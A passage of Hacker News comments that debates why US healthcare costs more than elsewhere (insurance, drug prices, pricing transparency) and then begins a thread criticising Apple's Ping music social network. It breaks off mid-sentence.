prescribe whatever they want, swipe your medical card, and they're guaranteed
to be paid in a week, no questions asked.
Japan has a clever way to handle the mandate. If you don't pay your premiums,
nothing happens, but if you need healthcare you're not covered until you pay
your back premiums.
I wish all the Americans who think the rest of the developed world runs on
single payer would read this book. None of the three countries I just
mentioned use single payer. The book also covers Canada and the UK, both of
which are single payer (and single provider in the UK), and while their
results are pretty good, they're not as good as the other three.
~~~
euske
One of the main reasons why I gave up career in the States and came back to my
home country (Japan) was healthcare. I had a day surgery in the US and the
whole experience (i.e. bills) just scared heck out of me. I am very happy with
the system here. Everything is extremely efficient compared to the US. A
little while ago, I had this mysterious headache and went to an orthopedist,
dentist, psychiatrist, neurosurgeon then took an MRI. All within one week. My
Canadian friend told me that it would be a half-year ordeal in Canada. By the
way, I'm not rich.
~~~
joering2
Just got hemoroids frozen and cut with laser. Cost here in USA under premium
insurance was $12,000. Went to Germany got it done on the same equipment in
luxury stay for 14 days at $870. Plus $800 plane tickets. Meanwhile a friend
of mine had a heart attack. As a Bank of America emplyee he had somewhat goog
insurance that paid some. He was left with $180,000 bill.
~~~
arcticfox
> As a Bank of America emplyee he had somewhat goog insurance that paid some.
> He was left with $180,000 bill.
Forgive my ignorance but how is that possible? The highest out of pocket
maximums for Marketplace plans is $15700 for an entire family.
~~~
JAlexoid
There are interesting cases, where doctors prescribe stuff they get no
valuable information from.
I had this in US. Shoulder pain, that was diagnosed via an XRay... But the
doctor decided he wanted an MRI. That's no unusual, but unnecessary in my
case. Got charged extra $500 for the pleasure. Thankfully I was on an HDHP, so
the HSA savings got hit.
~~~
lostlogin
That’s not an unreasonable charge for an MRI and I’d argue that you got off
quite lightly. You can’t diagnose many of the potential problems shoulders
have from an x-ray but a good clinical examination will catch many of them,
with an MRI for confirmation. Labral tears would be an example of this.
~~~
patient_zero
For a second I read your comment as liberal tears, and had to do a double-
take. :)
Speaking to the 500$ charge, are you saying that is a typical cost around the
world for a MRI? Is there something about the machine's cost that justifies
this or are you just saying that a 500$ charge is typical in the american
system?
~~~
Fiahil
And here I thought my last 120 EUR MRI was very expensive... (in France, of
course)
~~~
lostlogin
That’s impressive. The purchase price and running cost are high. Then there
are expensive labour costs (doctor, probably 2x techs and admin/reception
staff. Often a nurse is around for more complex procedure too). Peripheral
equipment isn’t cheap, with defib, contract injectors, RIS/PACS, reporting
stations etc. Scans are slow relative to CT and x-ray so I have no idea how
they make that work. Did you pay the whole bill? I am an MR tech.
------
airstrike
It's worth noting that the U.S. market does pay for the lion's share of
patented drugs, effectively funding a significant portion of R&D that benefits
the whole world years later when generics come into market (at least for those
drugs which are not costly to manufacture, which happen to be the majority).
I'm not saying this model is right. I'm just saying that doing away with it
will have fundamental consequences to healthcare R&D
EDIT: To be clear, a minority of drugs are either very hard to manufacture
(It's been a while for me so I don't recall their exact name, but I think they
may be called "biosynthetics" – please correct me if I'm wrong) or researched
for a very small number of patients (so-called "orphan drugs"), which confers
them additional protection from generics and competitors. These generally have
much higher prices than the "standard" drug.
~~~
cameronh90
It does appear to be the case that the US funds most pharma R&D due to
Americans overpaying relative to the rest of the word. In some cases (China,
India) this is due to weak IP protection, but in other cases (Canada, UK,
Europe) it's more to do with our governments having a stronger negotiating
position and setting hard limits on what they'll spend for a given benefit to
patients.
Some characterise this as freeloading, but looking at the NHS for example,
they set relatively clear limits for how much they will pay per quality-
adjusted life year that a drug provides. If a drug costs more than this limit,
financially more people will lose out if our healthcare system purchases this
drug over something else (more doctors, hospital beds, etc.).
Does this make us immoral for "freeloading", because we prefer putting our
limited money into cost effective treatments?
Also, is it not worth looking at why pharma R&D costs so much? The pharma
industry seems to run at a very healthy profit margin compared to most other
industries. Maybe the lack of market pressure is allowing the pharma industry
to remain fatty? Obviously there's a fear that cutting US pharma revenue would
hurt global medical R&D, but I don't see this as being a foregone conclusion.
It could just as possibly be market failure and regulatory capture keeping
pharma R&D expensive.
~~~
darawk
> Does this make us immoral for "freeloading", because we prefer putting our
> limited money into cost effective treatments?
It doesn't make you immoral, but it is important in understanding the
tradeoffs of suggesting that the US switch to an NHS-style system.
> Also, is it not worth looking at why pharma R&D costs so much? The pharma
> industry seems to run at a very healthy profit margin compared to most other
> industries. Maybe the lack of market pressure is allowing the pharma
> industry to remain fatty? Obviously there's a fear that cutting US pharma
> revenue would hurt global medical R&D, but I don't see this as being a
> foregone conclusion. It could just as possibly be market failure and
> regulatory capture keeping pharma R&D expensive.
They may be doing well, but you may not be seeing all the little pharma
companies that die trying. At the end of the day, investors are allocating
capital where they think they can get returns. If you reduce the returns of
pharma, you reduce the attractiveness of investing there.
~~~
JAlexoid
I try investing a lot in smaller pharma companies... and they are hammered by
the big ones. Not on innovation, but on marketing.
I disagree about NHS type system, that reduces access. A healthy mix is
required, though.
A lot of upfront costs are also footed by users and government/non-government
funds. And a lot more of those costs are due to government regulation and
essential insurance at development.
Pharmaceutics researchers aren't exactly rich, btw. Your dentist probably
makes more than many researchers of life saving drugs.
~~~
laurencerowe
How does an NHS type system reduce access? Everyone is covered and can go to
the doctor without worrying about paying thousands in copays.
~~~
DanBC
And also if people wish to pay for private care (whether out of pocket or
using insurance) they're free to do that too.
------
rohanshah
It's worth noting that a recent analysis of S.1804, the Medicare for All Act,
"could reduce total health care spending in the U.S. by nearly 10 percent"
[1]. Even conservative analysis [2] has the program project to save in the
trillions over a decade.
All while providing comprehensive, universal healthcare, free at the point-of-
service.
Also, Medicare For All would theoretically be able to command substantially
lower drug prices by nearly monopolizing demand.
Notably, given the study's analysis focus on OECD countries, the United States
is (said to be [3]) the only of the top 25 wealthiest countries and one of two
total member countries to not provide universal healthcare coverage.
[1] [https://www.peri.umass.edu/publication/item/1127-economic-
an...](https://www.peri.umass.edu/publication/item/1127-economic-analysis-of-
medicare-for-all) [2] [https://www.mercatus.org/system/files/blahous-costs-
medicare...](https://www.mercatus.org/system/files/blahous-costs-medicare-
mercatus-working-paper-v1_1.pdf) [3]
[https://www.politifact.com/virginia/statements/2015/sep/01/d...](https://www.politifact.com/virginia/statements/2015/sep/01/dan-
gecker/dan-gecker-says-us-only-wealth-nation-without-univ/)
~~~
tptacek
Why would I be excited about a proposal to totally restructure an industry
that every American comes into contact with and that represents something
approaching 20% of our economy just for the prospect of a _ten percent
savings_? Take any family complaining today about the cost of a Silver plan on
an ACA exchange, offer them a 10% savings, and see if they're OK with what
they're paying.
~~~
bshoemaker
Because it covers millions more, while spending less. Is this difficult to
understand?
~~~
tptacek
It leaves us overspending on health care by a huge amount, raises everyone's
insurance, and ultimately takes away everyone's employer-provided care, which
the majority of Americans who have it like. If it was cutting our expenses in
half, the cost savings might sell it. But 10%?
~~~
pjc50
> ultimately takes away everyone's employer-provided care
Really? Even the NHS system allows a parallel employer provided system to run
alongside it, it's just only common for higher-paying jobs and those with US
parent companies.
~~~
tptacek
Right, the rich will retain private care no matter what. The challenge is what
happens to the middle class, the majority of whom have employer-provided care
that they _actually like_ (this is a major challenge with any health reform in
the US: the status quo has powerful support). There's a near-consensus that
the impact to the market for these insurance products will, within a few
years, be eliminated by M4A.
------
sdrinf
PSA: As of 2019, federal law requires all hospital & doctors to post prices in
a machine-readable format.
The results are pretty striking, esp here in the Bay: eg UCSF (
[https://www.ucsfhealth.org/about/pricing-
transparency/](https://www.ucsfhealth.org/about/pricing-transparency/) )
charges $2600 for 1-way and 2-way chest X-rays, but charges $220 (that’s two
_hundred_) for 3-way chest X-ray. The difference? How many angles they take of
your body -ie, a 3-way includes the 2 & 1-way; and, more notably, the 3-way
was used as a chargemaster item used in pricing estimators. So eg when I went
in for a routine chest x-ray, I've expected a $300-ish bill, and got charged
with a $2600 one. Knowing these prices now allows me to ask specifically from
my doctor to select the diagnosis&intervention with the highest benefit/cost
ratio.
I’m really curious seeing consumer reactions to this, because current medical
billing practices must die.
~~~
taormina
This is astounding. It used to be that doctors were not allowed to post their
prices! Openness is needed to fix medical billing.
~~~
JAlexoid
Why would you care, when your copay is $30 flat?
~~~
dougmwne
Every time I use my health insurance in the USA I peel back another layer of
this onion of a scam. I've started doing most of my health care abroad even
though I'm insured just so I don't have to deal with this industry. I doubt
posting prices online will do much because it seems like a quick fix to a
systemic issue.
1\. Go for a 3 minute, 30 second ENT appointment about earwax. Think I'm just
paying a co-pay. Receive an extra bill for "Charges in excess of negotiated
amount"
2\. Go for appointment and be told: "If you just pay us now and bypass your
insurance it will be cheaper than your copays." This happened twice without
any prompting.
3\. Be told by another office that my insurance doesn't cover a service and
that it would be better if I paid out of pocket. Learn later that that service
should have been covered 100%. Struggle for months to get insurance to pay
instead all the while being told by the office "we can't guarantee you won't
end up paying more in the end, even if it does say 100%"
~~~
tapland
It surprises me that that behavior is even legal. It shouldn't be in a modern
democracy.
------
slx26
I speak for myself, but I'm pretty sure many people would share the thought:
healthcare is the number one reason for which I'd never move to America.
And there are a billion things for which you might want/not want to move to
another country. And I'm healthy, and there are many other things that might
seem crazy about America. I don't know, maybe I'm just paranoid, but I do
seriously hope for the sake of everyone (and I don't mean to be meddlesome),
that US citizens stop accepting this as normal and the situation changes soon.
~~~
bitxbit
This is odd. If you have a decent job and health insurance coverage, there’s
nothing better in terms of healthcare than living in cities such as Boston. I
can’t think of another city where you have access to multiple world-class
hospital systems. Quality of care is simply unmatched.
~~~
AndrewDucker
Have you see the discussions above where people talk about being hit with
bills for hundreds of thousands because of Out Of Network charges?
------
elipsey
I think it would be worthwhile to discuss more than just per capita cost. The
way that these costs are distributed is important and, I believe, problematic.
The problem here is not just that per capita cost is high, it’s that for
reasons that are partly structural, and partly demographic, healthy young
payers with lower incomes can be burdened with the full, un-subsidised, costs
of insurance, while others consume services without seeing the price. Some
people have tax subsidized employer sponsored health care, some people have
socialized health care, some people pay for insurance out of pocket with post-
tax income, and some people have nothing and have to negotiate costs under
duress after they have already consumed services. Doctors will not commit to a
price in writing in advance. If you think will, try it sometime ;)
I’m currently paying more then %100 of my annual income into an insurance
pool, because I need insurance to protect my assets. (It’s complicated...)
Moreover, the cost is not tax exempt because it is not employer sponsored. I’m
healthy and don’t really consume much in the way of services. Meanwhile,
others in the same insurance pool I’m paying into never see the price of their
premiums, and don’t pay taxes on them. I understand that the point of
insurance is to pool risk for insurable events, but how can we ever have an
efficient market without price information?
As Milton Friedman put it “No one is as careful with other people’s money, as
he is with his own.”
~~~
beatgammit
I'm confused, do you have low income and a fairly large amount of assets? I
can see this if you retired early or something, and in this case the
comparison with your income really isn't particularly interesting.
------
bluetwo
Like the article says, previous research has come to the same conclusion.
We pay much more, and are ranked nowhere near the top for lifespan, childhood
mortality, and other measures.
Obamacare was a great first step. Define what basic healthcare is and form
markets that encourage apples-to-apples comparison. Let the free market work.
Sucks that one party used this as a weapon to wrestle power.
Oh well.
Not going to argue here about healthcare reform, though. So if you disagree,
don't expect a response.
~~~
MichaelApproved
> Let the free market work
Respectfully, enough with this free market garbage. The healthcare industry is
not a free market, it can never be. It's not possible for the consumer to be
educated.
Even if you put emergencies aside, when an unconscious person can't start
price shopping emergency rooms, you still have regular office visits that are
impossible to price shop.
Ask yourself when the last time you asked your physician how much a service
cost. I asked my physician and they had no clue. They finally gave me an
estimate of "it'll be nominal", so I accepted the procedure. Turned out to be
~$200. I'm currently disputing it and refuse to pay based on their original
quote of "nominal".
Imagine your at the doctor and need to get a blood test. What do you do? Start
calling around local labs to ask which one has the best price? Maybe check
Groupon for a discount? All this while your doctor waits to see if the price
is within your budget, so they could continue the test.
Pricing in the medical industry is not even opaque. It's solid black.
~~~
ModernMech
> They finally gave me an estimate of "it'll be nominal", so I accepted the
> procedure. Turned out to be ~$200. I'm currently disputing it and refuse to
> pay based on their original quote of "nominal".
This is a case of expectations. $200 is nominal as far as medical procedures
go. Based on my last couple encounters with healthcare, $200 barely gets you
in the door. I paid $2000 on my last ambulance ride. My last stay was $14,000
for a couple days. That's _with_ insurance.
~~~
MichaelApproved
I was having an office visit getting tested for the flu, not on my way to the
emergency room.
The person who gave me the "nominal" quote also said my insurance would likely
even cover the test. She was wrong.
I spoke to the office manager and she seems to agree with my take on the
situation.
If you give a vague subjective word like "nominal" for a service, it's on you
to hope the consumer agrees.
------
gerbilly
It seems to me the US never outgrew it's frontier mentality.
Before, if you felt too hemmed in you could always move west and get free
land, get together with other locals and form a small town.
Better to be the founder of your town than a random nobody in your previous
town.
Back in the 18th-19th centuries, medical care was primitive and sometimes
dispensed by the barber.
For toothaches and broken limbs, you might see a dentist or a doctor, for
anything life threatening you toughed it out and died at home.
We don't do that anymore of course, but it's almost as if attitudes about self
sufficiency have lagged behind.
------
harimau777
Are there any measures of how America does compared to Europe if you only
count Americans that have good health insurance?
It seems to me that many people who are opposed to socialized medicine don't
necessarily disagree that it would give the poor better care; rather they fear
that it will result in them receiving worse care.
~~~
grecy
> _Are there any measures of how America does compared to Europe if you only
> count Americans that have good health insurance?_
Anecdotally, I'd say they do crap.
Friends outside LA are upper-middle class. Extremely good health insurance for
the last 20+ years. Had a baby, emergency C-section. Less than 12 hours later
they were told they must move hospital or else pay the $60,000 per day out of
pocket because their insurance wouldn't cover it anymore. They had to drive
themselves, in their own car, less than 12 hours after an emergency C-Section,
with the infant.
Of of this after paying through the nose for 20+ years for excellent health
insurance.
As an Australia/Canadian this is barbaric, and utterly unacceptable.
~~~
kodablah
I think the commenter was asking about quality regardless of cost, especially
for the upper tier.
~~~
grecy
Yes, and I was saying the quality is very low.
------
halfjoking
The title is inaccurate.
It shouldn't be "spends more for no gain"... it should be "spends more for
worse healthcare."
"No gain" implies that we are getting the same level of healthcare as other
countries, when in fact we have worse outcomes, less nurses/doctors, worse
wait times, and always get stuck with the bill. Only in America do people
regularly end up in bankruptcy for medical expenses.
------
topkai22
I saw an interesting article a while back. It looked at the benefits adjusted
income of workers in the US since 1980 or so. Basically, the “disappearing
wage growth” at of the last part of the 20th and early 21st century fir the
bottom of the income curve is largely (although entirely) explained by the
increasing cost of health care as a component of compensation.
~~~
int_19h
Is this averaged across all industries and income levels?
------
nickhalfasleep
I wonder how long other industries will let the healthcare companies get away
with this.
The first Fortune 500 company to give it's employees free travel to Mexico,
Canada, or Cuba for affordable care will cause quite a few waves.
Or a smart country could open up "embassy clinics" throughout America,
offering affordable healthcare and taking the profits back home.
~~~
tptacek
Fortune 500 companies already frequently self-insure their employees.
------
bedhead
Where does the money go? Aside from the waste and fraud, two places. First, we
pay for convenience. We want to see a doctor _now_. We want immediate access
to all the best equipment, and specialists, and drugs, and we don't want to
wait around or travel far. And we increasingly want it for every citizen.
Second, over treatment of the dying - no subject is more uncomfortable. When
asked what the biggest problem Kaiser Permanente faced, Charlie Munger, board
member, responded over treatment of the dying. Various estimates are half of
all healthcare spending takes place in the final two years of peoples' lives.
In both cases, we've essentially deemed care as "cost no object", and when
that happens, things get sideways fast.
I'm not saying what is right or wrong, just what the problem is. Fast, cheap,
good - you can always only pick two.
~~~
6nf
> We want to see a doctor now. We want immediate access to all the best
> equipment, and specialists, and drugs, and we don't want to wait around or
> travel far. And we increasingly want it for every citizen.
Australians can get these at a fraction of US prices though
~~~
refurb
Can they?
_Mr Meschemberg’s cancer is HER 2-positive (HER 2 is a protein found on the
surface of some cancer cells). HER 2-positive cancer cells tend to be far more
aggressive, as they divide and grow faster than normal. “That makes [my
cancer] a bit different,” he said. “There are drugs that are available to help
but they’re not on the PBS.”_
[https://www.news.com.au/lifestyle/health/health-
problems/mee...](https://www.news.com.au/lifestyle/health/health-
problems/meet-the-aussies-whose-cancer-treatment-isnt-covered-by-the-
pharmaceutical-benefits-scheme/news-story/d264fe3c6510bbed33d3e84bc8f351e2)
~~~
6nf
It takes a few extra years for new drugs to get added to the PBS, but even if
they are not, there's a cap on how much 'out of pocket' you'll pay for
treating serious medical conditions. It's maybe $3000 per year depending on
your situation. Medicare will cover the bulk of it even if it's not on the
PBS.
------
WhompingWindows
Reading through this thread is proof enough that the system is relentlessly
complex. Medicine itself is incredibly complex, payment is complex, the system
is nearly 20% of the economy, and not even 100 world-class experts could
provide us with a fool-proof plan to solve this mess. Whatever the solution is
to our healthcare systems' problems, it is not going to be simple, easy,
quick, or cheap.
------
tboyd47
Here's a simple, free-market solution that no one seems to have thought of:
start a health insurance company that pays for medical tourism. That would
provide consumers a cost-effective alternative and put pressure on the
American hospital systems to bring down costs. Why wouldn't this work?
~~~
dandare
Even better: a billionaire philanthropist to start a non-profit health
insurance company that only works with its own chain of evidence-based
providers and hospitals, combined with medical tourism. That would provide
consumers with a cost-effective alternative and put pressure on the American
hospital systems to bring down costs. Why wouldn't this work?
------
EGreg
It’s a simple economic argument:
In a single payer system, providers compete but buyers don’t, so prices are
kept low.
Prioritization is based on need.
------
jasonlotito
These studies never seem to differentiate between different types of care. We
left Canada for the US because of the healthcare. Autism care and support is
far better in the US then Canada. Even if this is costing us more as a whole
(it's far cheaper in my out of pocket costs), there are gains. So in general,
we might be doing worse in general, but that doesn't mean we aren't doing
amazingly betting in certain areas. I realize I'm talking about one specific
area, but knowing how much was spent in the US vs Canada in terms of care,
yes, more was spent on my child in the US instead of Canada, but the results
were so much better.
Basically, it's easier to spend less when you just don't do certain things
that are much more expensive.
------
pytyper2
They spend more on healthcare because a corporation presented a bill with a
larger total at the bottom. NO human goes to the hospital and says, "...please
charge me 37 dollars more than last visit for that generic aspirin..." All you
international geniuses, help us out, stop investing in the for profit US
healthcare system. Sell your holdings today, don't invest your retirement in
funds that invest in for profit healthcare companies. That would get the ball
rolling. Same goes for for profit prison management.
Trivia: What percentage of for profit healthcare corporations are directly or
beneficially controlled by foreign investors who reside in countries that do
not have our healthcare cost problems?
~~~
JAlexoid
We will not. USA is the global piggy bank.
Honestly - it is.
------
tabtab
Many are not going to trust such studies any more than they trust climate-
change research, and would rather the market "fix" the problems than a
gov't-centric approach.
------
anovikov
Why do people keep thinking about this in the terms "who should pay for that"
while in the market economy, it won't change anything? It's about supply and
demand, just force medical schools prepare more doctors, for example
threatening them with automatic diploma recognitions and green cards on
arrival, for medical professionals from every first world country who could
speak decent English.
------
dhruvp
If you want to read more on this topic, I highly recommend An American
Sickness ([https://www.goodreads.com/book/show/31253737-an-american-
sic...](https://www.goodreads.com/book/show/31253737-an-american-sickness)).
It's written by the current Editor in Chief of Kaiser Health News.
------
vmsp
Interestingly, I just read this last night on Factfulness by Hans Rosling so
it's certainly not a new finding. I highly recommend the book.
------
geggam
I was in a cancer center picking someone up and overheard the staff ordering a
dose of medicine.
A single dose was billed at $100k US
------
whiddershins
I believe there is an economic analysis I saw mentioned by Scott Alexander
that basically the cost of healthcare can be predicted as a function of the
quality of care and the wealth of the country.
Allegedly healthcare in the United States costs exactly as much as that
formula would predict.
I don’t have a citation here, and if anyone has one that would be great.
But if it is true, we might be trying to fix something that isn’t broken in
any of the ways people intuitively conclude.
~~~
InclinedPlane
I don't give a shit even if we ultimately have to pay more than we are now on
healthcare (spoilers, we won't) as long as we can have universal coverage.
------
sbt
It's always for someone's gain but as with other things in the US it's the
shareholders who gain.
------
vasilipupkin
I think it’s hard to compare these numbers across countries. For example, a
richer country could choose to spend more on stuff that ultimately makes
little difference in outcomes. For example, fewer people per hospital room or
better hospital food or shorter wait times for a non threatening disease.
~~~
nerdponx
I'm not sure this holds up to scrutiny. Why don't other rich countries (e.g.
Canada, which lets you pay for your own healthcare if you want) have this
problem?
~~~
vasilipupkin
Canada has equivalent of Medicare for all. And Canada has at least some of
these problems, for example longer wait times. These long wait times don’t
ultimately affect average outcomes.
~~~
nerdponx
I think you misread my post. By "these problems" I meant "overspending on
things that don't improve outcomes."
But if paying for extra care is illegal in Canada then my argument doesn't
work.
~~~
vasilipupkin
Being able to see my doctor for a health problem on short notice improves my
quality of life but it probably doesn’t change outcomes as there is a very low
likelihood that my problem is both life threatening and urgent. But choosing
to pay doctors more to reduce wait times is not right or wrong - it’s just a
different preference.
~~~
nerdponx
My point is that you don't see people spending extra to see private doctors in
Canada despite it being a generally wealthy nation. There is more at play than
the original suggestion that high spending is simply a function of being a
richer nation with more money to spend on "extras" like short waiting times.
~~~
vasilipupkin
You do actually - Canadians sometimes go across the border to US for
surgeries, etc.
------
d--b
These studies serve no purpose. Everybody knows this.
The usual debate follows: yes but US funds research - yes but doctors,
insurance and pharmaceutical companies get paid a lot more than anywhere else
- yes but that’s the market, I want to pay more to have a top notch doctor /
insurance - blah blah blah.
------
Fej
Judging by the comments, there are a lot of us here who already know this. _So
what are we going to do about it, now?_ The system is broken but there are a
number of entrenched interests who want to keep it that way and an electorate
willing to buy whatever they say.
I am short on hope.
------
trophycase
Everyone wants to blame drug prices but let's not ignore the problems of
obesity, diabetes, etc. Much of which is a result of urban sprawl, poor diet
(both in food culture, and in crop subsidies), and poor work culture.
~~~
airstrike
As a U.S. immigrant who struggles to find truly healthy food choices in
Manhattan of all places, I couldn't agree more.
~~~
wil421
Most really healthy people cook for themselves.
~~~
airstrike
That's what I do too, but every once in a while you have to buy prepared food
and the portion size, calorie count and amount of sodium / sugar in American
food is simply staggering
------
HillaryBriss
one of the mysteries for me is always: economists love it when the government
spends more money because of money multiplier effects (the old Keynesian idea
of burying wads of hundred dollar bills in millions of bottles and then pay
someone to dig them up and spend it).
but then, when you have this HUGE industry which literally spends hundreds and
hundreds of billions on all kinds of nonsense like wasteful billing
administration, unnecessary defensive medical tests, overpriced drugs, etc,
the same economists are unhappy.
------
wwarner
The name of the school is `Johns Hopkins`. Carry on!
~~~
tlb
Fixed the title, thanks.
------
skookumchuck
In the US, the most heavily regulated industries are health care and
education. They have the highest prices.
The least regulated industry is software, with the lowest prices (most
software is literally free).
------
sanjiwatsuki
I see people saying that drugs in the US are twice as expensive as other
countries in the comments. I'll summarize [0] which is one of the sources for
that number.
People in the United States spend roughly 2x per capita compared to Germany,
Canada, and the UK. This does not mean that drugs in the United States are
twice as expensive.
The US tends to use newer molecules in the drugs that are purchased --
particularly ones that are still patented and more expensive. Other countries
like Germany and the UK tend to use older drugs (e.g. molecules over 30 years
old).
A naive analysis would notice that the US spends more on drugs for a lower
number of sales and would conclude it's because prices are high, but that
ignores the fact that US doctors tend to prescribe newer on-patent drugs which
are -- _drumroll_ \-- more expensive and not necessarily more effective. I'd
argue this is the fault of the doctors prescribing the drugs more than any
drug company's fault.
If you examine Exhibit 6 in the study, you'll see that, yes, the United States
does tend to have more expensive drugs than most other countries but it is NOT
an outlier. For example, Japan and Mexico pay more than the US for the same
drugs on average. Drug prices are not nearly as big of a problem as people
make it out to be.
Also, to its credit, the US also has significantly cheaper generics and over-
the-counter drugs.
[0]
[https://www.healthaffairs.org/doi/full/10.1377/hlthaff.27.1....](https://www.healthaffairs.org/doi/full/10.1377/hlthaff.27.1.221)
------
interlocutor
The reason healthcare costs so much more in the US than other countries, is
health insurance. When insurance pays for everything patients don't care how
much the medical providers are charging, or whether they are providing
unnecessary services. When somebody else (i.e., insurance) is paying, the
individual consumer is encouraged to consume without any restraint. When all
consumers behave this way, healthcare providers are able to charge sky-high
prices and unnecessary services, which in turn causes insurance premiums to go
up. (Look up "tragedy of the commons").
The solution is to make the consumer participate in driving costs down. One
employer I know of has an excellent solution to the problem: Make employees
pay 100% of the bill up to a certain amount, such as $6000. That's a large
amount, but the employer then contributes a large amount to your Health
Savings Account (HSA), such as $4000. This amount is for you to keep
regardless of whether you have any health bills or not. (This money can be
used for medical expenses only, but can be used any time, including after
retirement). So the maximum you will spend out of pocket per year is $2000.
How does this encourage the consumer to scrutinize and control medical
expenditure? Because the first $6000 of medical spending in a year is "your
money". This is money you'd be able to keep in your HSA if you didn't have any
medical expenses. This gives the consumer a strong incentive to reduce costs,
question charges, avoid unnecessary services, and so on.
| {
"pile_set_name": "HackerNews"
} |
Apple's ping is a big pile of steaming dung - Swizec
http://swizec.com/blog/apples-ping-is-a-big-pile-of-steaming-dung/swizec/1444
======
crad
I pretty much had the same experience.
For comparison I found Muse had a stream on Ping so I checked it compared to
their Twitter account. Ping's stream for them was sanitized and small. It was
not personal and I assume it didn't tell me anything other than what the label
wanted me to know.
With full access to my very large library including many albums purchased in
ITMS, they suggested a series of artists I have no interest in.
Activity is only measured by what you purchase or review in the ITMS, not on
what I actually do in iTunes. They have an opportunity to steal everyones
lunch with Ping. Mirroring last.fm functionality with scrobbling and then
presenting that info in the profile is a no-brainer.
When looking at my profile, I noticed that the two things it pointed as were
two reviews I made in iTunes from years ago. Fresh content is king.
The interface is terrible. Navigating around Ping is a mess.
Granted this is a 1.0, but they have a lot of work to do if they want it to
get serious traction and they need to loosen the content reigns a bit. Waiting
for my profile pic to be approved is silly.
~~~
Swizec
I could understand not supporting last.fm integration. Sure, they want to sort
of kill last.fm anyway.
But the fact there is no scrobbling of played music? That's just silly, what
on earth were they thinking? O.o
Honestly, I'd like to know, can ANYONE explain that?
~~~
gyardley
Sure. If I had to guess, I'd say that Apple's stretched extremely thin, their
products are worked on by surprisingly small teams, they were under time
pressure to get this out the door, the culture of secrecy kept them from doing
some user testing, and (given the number of small details Ping got wrong) this
particular project didn't have strong product leadership with experience in
the space.
~~~
chrischen
I did no user testing (just did what I thought was obvious), I only had 3
months, I worked by myself (mostly), and my site, <http://like.fm>, doesn't
suffer from most of his fail points. I think apple just wanted to add a slight
social layer to their store.. You know, to drive sales. I mean if you are one
to buy stuff from the iTunes store, you'll probably sign up and follow
something. Other people who use the service aren't immediately going to be
much value. I mean why else would they make a "social network" embedded in
iTunes. You just can't expect something like that to get enough meaningful
adoption if it's exclusive to a single platform in a heavily segmented market.
So apple wasn't crazy (they just can't be that blind), they just wanted to add
a light social layer to iTunes store to boost sales.
~~~
yrb
I wonder if they didn't want to do a Buzz in terms of making all your private
information suddenly public, and might ease into features such as scrobbling
over time. The amount of spam on there is probably their biggest problem at
the moment. It is hard for me to objectively judge as my market segment isn't
catered for at all in terms of features. It will be interesting to see what
the rest of the population think of it. To me it feels far to much like it has
been designed to drive consumption of 'popular' music and 'me too' buying.
EDIT: The top 10 pop chart artists all seem to have around 100k followers,
will be interesting to see how it goes.
~~~
chrischen
Even if they do ease in scrobbling their "social network" will be crippled by
the fact that your Winamp buddy, or Rdio friend, or Linux pal doesn't use
iTunes. For Ping to succeed they're going to have to convince users that their
platform is dedicated to social music, not enhancing the itunes purchasing
experience. So unless iTunes gets every music listener in the world, or darn
close to everyone, to use iTunes instead of however they currently listen to
music, then their social functionality is going to always be less useful than
a platform independent service. A social network gains value with more users
(in general), so if iTunes is restricting the flow of potential users it's
just going to hurt them.
iTunes could satisfy the iTunes user market. But unless clusters of friends
all use iTunes, a decentralized service will be more useful. And i'm not sure
if being an itunes user means more of your friends use itunes (to any level of
significancy). So chances are most people will have a bunch of friends who
can't participate.
------
RyanMcGreal
Next week on Daring Fireball: _Why Ping is much smarter than you think and
will prove the naysayers wrong_.
~~~
9oliYQjP
Actually, if you're into cool, trendier, up-and-coming, non-mainstream music,
Ping is pretty fantastic. The first recommended follow for me was Alexandra
Patsavas who is the christener of cool when it comes to indie music. Ping got
it spot on. I have no more need for using MySpace. I hate to brand all the
naysayers wrong, but frankly they don't seem to share the same musical tastes
as I do. I'd like to think I have pretty damn good taste, better than the
naysayers :)
The naysayers seem to have wanted a Facebook replacement. I hate FB. Ping is a
nice domain-specific social network. It serves a purpose, like LinkedIn. And I
quite like it.
~~~
chc
How can something be cool and trendy while also being obscure and not
mainstream? Don't "cool" and "trendy" imply prestige and popularity?
~~~
joshuacc
No. Cool and trendy mean that something is on the path to being mainstream.
When it does hit mainstream, it's passé. :-)
------
st3fan
You don't get it. Ping is only there to drive up music sales. This is why
every single page has Buy buttons. And why the focus is mostly on music from
the store and not for example your ripped music is scrobbled.
This is not about music fans. This is a controlled environment to sell more
music.
~~~
alextgordon
Sure, but to sell music you need to sell it _to_ fans. You can't just make a
page with a buy button on it, call it a social network and expect it to
increase revenue.
Either Apple have something up their sleeve or they're being terribly naive.
~~~
jbail
I think if you're Apple, you probably could create a blank page with a Buy
button to increase revenue.
------
Marticus
While trying to avoid the cliche "Apple sux" explanation, I'm actually
genuinely surprised they botched this as badly as they seem to have.
Maybe it's releasing a product without a comprehensive music database being in
place. Maybe it's the inability to link to, you know, their OWN PRODUCT a la
last.fm and, well, anything.
But really, whoever was in charge of this obviously wasn't being watched
closely enough - this is a software foul-up of pretty large proportions.
Plus I like the implication that they don't trust any other form of
avatar/username site (Gravatar, etc) and instead you have to take your picture
with your cute widdle iCameraAsApprovedByApple and then wait for it to be
"approved."
Which makes me feel immensely sorry for anyone whose job encompasses looking
to see if pictures violate a ToS agreement, even if it is 10 minutes a day,
and even if it is "pre-filtered" by some type of algorithm (surely, please for
the love of all things surely).
Overall, depressing.
------
mcantelon
Apple's controlling nature, and desire to be the Disney of the computer world,
seem incompatible with the instincts needed to create a successful social
network.
~~~
shortformblog
You've nailed it. All the things that make Apple's business model advantageous
– the meticulous scripting, the secrecy, the glossed-over experience – work
wonders on hardware. But when it comes to social networks, it's clear that
they just don't understand the model at all. Because they can't do ANY of
these things and have a successful social network.
------
miguelpais
I was still thinking of giving some credit to Ping when I saw, after being
disappointed with all the other features, that you could post a music to your
profile. That's something that I quite regularly do on my Facebook profile,
simply post a youtube video of some music I like so I can share it with my
friends.
I quickly went back to my library, right clicked on a song and searched for
some Post button. Unfortunately, as I was soon able to find out, you can only
do that inside the ITMS. Of course, some of the songs I have on my library are
not in the ITMS, but they could still figure out an automatic way of matching
the artist and track name, ask me if one of the matched songs is the one I'm
talking about and post it.
As a result, Ping, instead of being that brilliant last.fm killer idea we all
envisioned when we heard about it of bringing a music social network to the
actual music player people use, is just a webpage poorly stamped to my music
player, with absolutely no integration with my library.
Even Last.fm, a 3rd party social network has more integration with my library
then a social network _inside_ my music player. If this makes sense...
P.S.: what I said about Posting is equally applicable for Liking a song. You
can't do that in your library and there is also no relation between your
